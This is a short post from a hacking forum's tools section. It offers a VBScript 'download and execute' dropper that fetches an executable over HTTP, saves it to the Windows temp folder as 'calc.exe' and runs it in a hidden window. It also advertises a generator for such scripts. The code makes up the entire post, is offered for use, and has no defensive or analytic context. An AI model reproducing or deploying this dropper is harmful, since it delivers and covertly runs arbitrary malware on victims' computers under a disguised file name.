+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.li/Forum-Hacking-Tools)
+---- Forum: Hacxx's Posts (https://sinister.li/Forum-Hacxx-s-Posts)
+---- Thread: VBS + XMLHTTP 'Download & Execute' (/Thread-VBS-XMLHTTP-Download-Execute)
VBS + XMLHTTP 'Download & Execute' - hacxx - 01-29-2022
Code:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://127.0.0.1/1.exe", False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile "c:\windows\temp\calc.exe", 2 '
end with
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run("cmd.exe /c if exist c:\windows\temp\calc.exe c:\windows\temp\calc.exe"), 0, TrueThis code was generated with VBS + XMLHTTP 'Download & Execute' Generator available with Hacxx Latest Scripts.